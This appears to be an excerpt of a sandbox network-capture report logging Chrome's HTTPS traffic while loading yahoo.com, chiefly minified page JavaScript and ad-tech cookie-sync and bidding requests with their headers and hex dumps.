2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 61 3d 65 2e 66 6f 63 75 73 2c 69 3d 76 6f 69 64 20 30 21 3d 3d 61 26 26 61 2c 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 61 62 73 45 6c 65 6d 73 2c 73 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 49 6e 64 65 78 2c 72 3d 22 6e 65 78 74 22 3d 3d 3d 74 3f 73 2b 31 3a 73 2d 31 3b 73 3d 3d 3d 6f 2e 6c 65 6e 67 74 68 2d 31 26 26 22 6e 65 78 74 22 3d 3d 3d 74 3f 74 68 69 73 2e 61 63 74 69 76 61 74 65 54 61 62 28 6f 5b 30 5d 2e 74 61 62 45 6c 65 6d 2c 7b 66 6f 63 75 73 3a 69 2c 66 6f 72 63 65 3a 21 30 7d 29 3a 30 3d 3d 3d 73 26 26 22 70 72 65 76 22 3d 3d 3d 74 3f 74 68 69 73 2e 61 63 74 69 76 61 74 65 54 61 62 28 6f 5b 6f 2e 6c 65 6e 67 74 68 2d 31 5d Data Ascii: 0!==arguments[1]?arguments[1]:{},a=e.focus,i=void 0!==a&&a,o=this._util.tabsElems,s=this._state.activeIndex,r="next"===t?s+1:s-1;s===o.length-1&&"next"===t?this.activateTab(o[0].tabElem,{focus:i,force:!0}):0===s&&"prev"===t?this.activateTab(o[o.length-1]
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 6c 64 41 75 74 6f 53 77 69 74 63 68 2c 4f 3d 67 2e 73 68 6f 75 6c 64 53 63 72 6f 6c 6c 52 65 73 74 6f 72 65 2c 53 3d 67 2e 73 68 6f 75 6c 64 55 73 65 41 72 69 61 2c 6b 3d 67 2e 74 61 62 73 45 6c 65 6d 73 2c 43 3d 67 2e 74 61 72 67 65 74 45 6c 65 6d 73 2c 78 3d 74 68 69 73 2e 5f 73 74 61 74 65 2c 46 3d 78 2e 61 63 74 69 76 65 49 6e 64 65 78 2c 6a 3d 78 2e 74 61 62 73 54 6f 70 53 74 79 6c 65 49 6e 50 69 78 65 6c 3b 62 3d 70 26 26 21 70 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 63 6f 6d 70 6c 65 74 65 22 29 2c 41 26 26 74 68 69 73 2e 70 61 75 73 65 53 77 69 74 63 68 69 6e 67 28 29 3b 76 61 72 20 4c 3d 30 2c 49 3d 30 3b 69 66 28 4f 29 7b 76 61 72 20 50 3d 77 69 6e 64 6f 77 2e 70 61 67 65 59 4f 66 66 73 Data Ascii: ldAutoSwitch,O=g.shouldScrollRestore,S=g.shouldUseAria,k=g.tabsElems,C=g.targetElems,x=this._state,F=x.activeIndex,j=x.tabsTopStyleInPixel;b=p&&!p.classList.contains("wafer-fetch-complete"),A&&this.pauseSwitching();var L=0,I=0;if(O){var P=window.pageYOffs
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 65 6d 3a 77 2c 6d 65 74 61 3a 7b 74 61 62 45 6c 65 6d 3a 69 2c 74 61 72 67 65 74 45 6c 65 6d 3a 6e 7d 7d 29 7d 7d 65 6c 73 65 20 76 2e 6c 6f 63 6b 28 69 29 2c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 64 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 73 65 6c 65 63 74 65 64 22 2c 21 31 29 2c 53 26 26 28 6e 26 26 6e 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 68 69 64 64 65 6e 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 2d 31 29 29 2c 6e 26 26 21 45 26 26 28 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 79 29 2c 5f 26 26 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 5f 29 2c 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 68 69 64 64 65 6e Data Ascii: em:w,meta:{tabElem:i,targetElem:n}})}}else v.lock(i),i.classList.remove(d),i.setAttribute("aria-selected",!1),S&&(n&&n.removeAttribute("hidden"),i.setAttribute("tabindex",-1)),n&&!E&&(n.classList.remove(y),_&&n.classList.add(_),n.setAttribute("aria-hidden
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 61 62 46 6f 63 75 73 49 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 61 3d 65 2e 73 68 6f 75 6c 64 48 61 6e 64 6c 65 46 6f 63 75 73 2c 69 3d 65 2e 66 6f 63 75 73 4f 75 74 54 69 6d 65 6f 75 74 3b 61 26 26 28 69 26 26 79 28 69 2c 74 68 69 73 29 2c 74 68 69 73 2e 61 63 74 69 76 61 74 65 54 61 62 28 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 29 7d 7d 2c 7b 6b 65 79 3a 22 66 6f 63 75 73 49 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 73 68 6f 75 6c 64 55 73 65 41 72 69 61 26 26 67 28 64 6f 63 75 6d 65 6e 74 2c 22 6b 65 79 64 6f 77 6e 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 4b 65 79 44 6f 77 6e 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c Data Ascii: abFocusIn",value:function(t){var e=this._util,a=e.shouldHandleFocus,i=e.focusOutTimeout;a&&(i&&y(i,this),this.activateTab(t.currentTarget))}},{key:"focusIn",value:function(t){this._util.shouldUseAria&&g(document,"keydown",this.handleKeyDown)}},{key:"handl
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 65 76 65 6e 74 54 61 72 67 65 74 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 7c 7c 30 3b 74 68 69 73 2e 61 63 74 69 76 61 74 65 54 61 62 28 74 2e 65 76 65 6e 74 54 61 72 67 65 74 2e 6f 70 74 69 6f 6e 73 5b 65 5d 29 7d 7d 2c 7b 6b 65 79 3a 22 64 65 73 74 72 6f 79 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 75 73 65 53 77 69 74 63 68 69 6e 67 28 29 2c 74 68 69 73 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 68 28 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 64 65 73 74 72 6f 79 22 2c 74 68 69 73 Data Ascii: preventDefault();var e=t.eventTarget.selectedIndex\|\|0;this.activateTab(t.eventTarget.options[e])}},{key:"destroy",value:function(){this.pauseSwitching(),this.removeEventListeners(),h(e.prototype.__proto__\|\|Object.getPrototypeOf(e.prototype),"destroy",this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.4	49944	151.101.1.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	774	OUT	GET /sg/prebidJS/1/cm?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=%5Bobject%20Object%5D HTTP/1.1 Host: trc.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	972	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51;Version=1;Path=/;Domain=.taboola.com;Expires=Thu, 09-Jan-2025 23:27:15 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 18533 Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:15 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-iad-kcgs7200130-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929235.020850,VS0,VE20 X-vcl-time-ms: 20 transfer-encoding: chunked
2024-01-10 23:27:15 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-01-10 23:27:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-01-10 23:27:15 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	49954	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	1184	OUT	GET /checksync.php?vsSync=1&cs=8&cv=31&https=1&cid=8CUQ66JUO&prvid=2034%2C2033%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C313%2C237%2C117%2C319%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C126%2C203%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C70%2C77%2C20000%2C38%2C2023%2C2022%2C141%2C460%2C462%2C222%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10
2024-01-10 23:27:15 UTC	435	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 38164 Content-Type: text/html; charset=UTF-8 Set-Cookie: usp_status=1; Expires=Sat, 13 Jul 2024 23:27:15 GMT; domain=.media.net; Path=/; sameSite=none; secure=true x-mnet-hl2: E Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 Cache-Control: max-age=172800 Expires: Fri, 12 Jan 2024 23:27:15 GMT Date: Wed, 10 Jan 2024 23:27:15 GMT Connection: close
2024-01-10 23:27:15 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-01-10 23:27:15 UTC	16384	IN	Data Raw: 20 20 20 20 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 31 34 31 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 33 31 35 33 36 30 30 30 2c 22 63 63 22 3a 22 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 20 65 20 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 38 Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var cookieSyncConfig = {"datalen":141,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"US","zone":" e ","coc":"NA"},"cs":"8
2024-01-10 23:27:15 UTC	8192	IN	Data Raw: 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 67 70 70 22 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 29 7b 76 61 72 20 74 3d 6e 65 77 20 6e 2e 47 65 74 50 61 72 61 6d 56 61 6c 75 65 46 72 6f 6d 55 72 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 67 70 70 5f 73 69 64 22 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 76 61 72 20 74 3d 6e 65 77 20 6e 2e 47 65 74 50 61 72 61 6d 56 61 6c 75 65 46 72 6f 6d 55 72 6c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 3b 72 65 74 75 72 6e 20 74 2e 67 65 74 50 61 72 61 6d 28 22 61 78 69 64 5f 65 22 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 72 65 74 75 72 6e 20 74 2e 69 6e 66 6f 26 26 74 2e 69 6e 66 Data Ascii: ef);return t.getParam("gpp")}function C(){var t=new n.GetParamValueFromUrl(window.location.href);return t.getParam("gpp_sid")}function h(){var t=new n.GetParamValueFromUrl(window.location.href);return t.getParam("axid_e")}function v(){return t.info&&t.inf
2024-01-10 23:27:15 UTC	13587	IN	Data Raw: 69 6c 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 7b 65 2e 73 65 74 46 72 61 6d 65 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 6e 2c 74 2c 69 29 7b 65 2e 73 65 74 53 63 72 69 70 74 28 6e 2c 74 2c 69 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 65 2e 73 65 74 49 6d 61 67 65 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 65 2e 69 73 53 65 6e 64 42 65 61 63 6f 6e 28 29 3f 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 73 65 6e 64 42 65 61 63 6f 6e 28 6e 29 3a 65 2e 73 65 74 49 6d 61 67 65 28 6e 29 7d 72 65 74 75 72 6e 7b 73 65 74 46 72 61 6d 65 3a 6e 2c 73 65 74 53 63 72 69 70 74 3a 74 2c 73 65 74 49 6d 61 67 65 3a 69 2c 73 65 6e 64 42 65 61 63 6f 6e 3a 63 7d 7d 29 3b Data Ascii: il],function(e){"use strict";function n(n){e.setFrame(n)}function t(n,t,i){e.setScript(n,t,i)}function i(n){e.setImage(n)}function c(n){e.isSendBeacon()?window.navigator.sendBeacon(n):e.setImage(n)}return{setFrame:n,setScript:t,setImage:i,sendBeacon:c}});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	49953	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	534	OUT	GET /manifest_desktop_us.json HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: manifest Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	1213	IN	HTTP/1.1 200 OK x-amz-id-2: ao8yX//+TZ5+yDhHg14nk4iLQ0Dc0JekzSnTbZhehJfLOlvpj3bkzAsCgGM0Exc6gKvVevopeCQ= x-amz-request-id: YNGC1TPJ5J4VNC8G Date: Wed, 10 Jan 2024 18:29:37 GMT Last-Modified: Thu, 09 Nov 2023 19:24:28 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=259200, public x-amz-version-id: oJbqjvrlKdboKtyJ_a7GRrgtVlkKL4gl Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 2146 Referrer-Policy: no-referrer-when-downgrade Vary: Origin ATS-Carp-Promotion: 1 Strict-Transport-Security: max-age=31536000 ATS-Carp-Promotion: 1 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=296acn1iptogh&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Etag: "9faf9f0af03805fd10e24fd7a54ca611" Age: 17858 Connection: close
2024-01-10 23:27:15 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 62 61 63 6b 67 72 6f 75 6e 64 5f 63 6f 6c 6f 72 22 3a 20 22 23 66 66 66 66 66 66 22 2c 0a 20 20 20 20 22 64 69 73 70 6c 61 79 22 3a 20 22 73 74 61 6e 64 61 6c 6f 6e 65 22 2c 0a 20 20 20 20 22 67 63 6d 5f 75 73 65 72 5f 76 69 73 69 62 6c 65 5f 6f 6e 6c 79 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 69 63 6f 6e 73 22 3a 20 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 69 7a 65 73 22 3a 20 22 34 38 78 34 38 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 72 63 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 30 39 30 36 32 30 31 38 2f 6d 61 6e 69 66 65 73 74 2f 79 61 68 6f 6f 5f 69 6e 73 74 61 6c 6c 5f 34 38 2e 70 6e 67 22 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "background_color": "#ffffff", "display": "standalone", "gcm_user_visible_only": true, "icons": [ { "sizes": "48x48", "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_48.png",
2024-01-10 23:27:15 UTC	846	IN	Data Raw: 20 22 74 79 70 65 22 3a 20 22 69 6d 61 67 65 2f 70 6e 67 22 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 69 7a 65 73 22 3a 20 22 33 38 34 78 33 38 34 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 72 63 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 30 39 30 36 32 30 31 38 2f 6d 61 6e 69 66 65 73 74 2f 79 61 68 6f 6f 5f 69 6e 73 74 61 6c 6c 5f 33 38 34 2e 70 6e 67 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 79 70 65 22 3a 20 22 69 6d 61 67 65 2f 70 6e 67 22 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 73 69 7a 65 73 22 3a 20 22 35 31 32 78 35 31 32 22 2c 0a 20 20 20 20 20 20 Data Ascii: "type": "image/png" }, { "sizes": "384x384", "src": "https://s.yimg.com/cv/apiv2/09062018/manifest/yahoo_install_384.png", "type": "image/png" }, { "sizes": "512x512",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	49959	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1254	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1376 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	1376	OUT	Data Raw: 7b 22 69 64 22 3a 22 62 39 34 35 65 32 65 64 2d 36 33 35 65 2d 34 39 36 32 2d 39 64 34 62 2d 38 30 31 33 36 64 33 35 65 30 64 63 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 39 36 35 36 33 35 38 30 31 36 36 38 38 39 39 32 31 37 30 34 39 32 39 32 33 33 34 37 35 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 5d 7d 2c 22 76 69 64 65 6f 22 Data Ascii: {"id":"b945e2ed-635e-4962-9d4b-80136d35e0dc","cur":["USD"],"imp":[{"id":"96563580166889921704929233475","secure":1,"bidfloor":0.05,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":250}]},"video"
2024-01-10 23:27:15 UTC	348	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:15 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.4	49962	34.120.63.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	407	OUT	GET /rtb/prebid?cid=8CUQ66JUO HTTP/1.1 Host: prebid.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10
2024-01-10 23:27:15 UTC	357	IN	HTTP/1.1 204 No Content content-type: text/html;charset=utf-8 content-language: en Content-Length: 0 date: Wed, 10 Jan 2024 23:27:14 GMT x-envoy-upstream-service-time: 1 server: envoy Via: 1.1 google Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.4	49965	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:15 UTC	1377	OUT	GET /ups/58746/sync?ui=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51&redir=true&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; 